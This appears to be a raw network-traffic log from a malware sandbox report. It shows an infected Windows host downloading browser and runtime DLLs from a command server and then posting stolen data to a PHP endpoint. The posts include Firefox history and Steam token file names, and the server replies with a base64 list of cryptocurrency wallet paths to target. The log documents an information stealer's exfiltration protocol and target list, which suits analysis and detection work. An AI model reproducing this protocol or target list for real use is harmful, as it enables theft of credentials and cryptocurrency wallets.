Oct 30, 2024 20:13:24.955956936 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:25.238221884 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 20:13:26.640418053 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:26.922753096 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 20:13:27.822500944 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:28.104818106 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 20:13:31.409492970 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:31.692382097 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 20:13:32.131627083 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:32.414175987 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 20:13:33.527652025 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 20:13:33.833165884 CET	1236	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 5a 6e 46 7a 4f 54 4a 76 4e 48 41 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e [TRUNCATED] Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfZnFzOTJvNHAuZGVmYXVsdC1yZWxlYXNlLnR4dA==------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file"aHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL3Byb2R1Y3RzL2ZpcmVmb3gKaHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL2tiL2N1c3RvbWl6ZS1maXJlZm94LWNvbnRyb2xzLWJ1dHRvbnMtYW5kLXRvb2xiYXJzP3V0bV9zb3VyY2U9ZmlyZWZveC1icm93c2VyJnV0bV9tZWRpdW09ZGVmYXVsdC1ib29rbWFya3MmdXRtX2NhbXBhaWduPWN1c3RvbWl6ZQpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9jb250cmlidXRlLwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9hYm91dC8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZmlyZWZveC8/dXRtX21lZGl1bT1maXJlZm94LWRlc2t0b3AmdXRtX3NvdXJjZT1ib29rbWFya3MtdG9vbGJhciZ1dG1fY2FtcGFpZ249bmV3LXVzZXJzJnV0bV9jb250ZW50PS1nbG9iYWwKaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvcHJpdmFjeS9maXJlZm94LwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9wc [TRUNCATED]
Oct 30, 2024 20:13:34.617510080 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:34.719907045 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="message"wallets------HIIEBAFCBKFIDGCAKKKF--
Oct 30, 2024 20:13:35.004367113 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 20:13:35.007078886 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 2d 2d 0d 0a Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="message"files------BFHIJEBKEBGHIDHJKJEG--
Oct 30, 2024 20:13:35.291377068 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:35.303906918 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file"------GIIIIJDHJEGIECBGHIJE--
Oct 30, 2024 20:13:36.084212065 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:36.120456934 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="message"ybncbhylepme------HDBGDHDAECBGDHJKFIDG--
Oct 30, 2024 20:13:36.405749083 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:36.407078028 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGDAAFBKEBGDHDBKE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHCBGDAAFBKEBGDHDBKE--
Oct 30, 2024 20:13:37.189838886 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
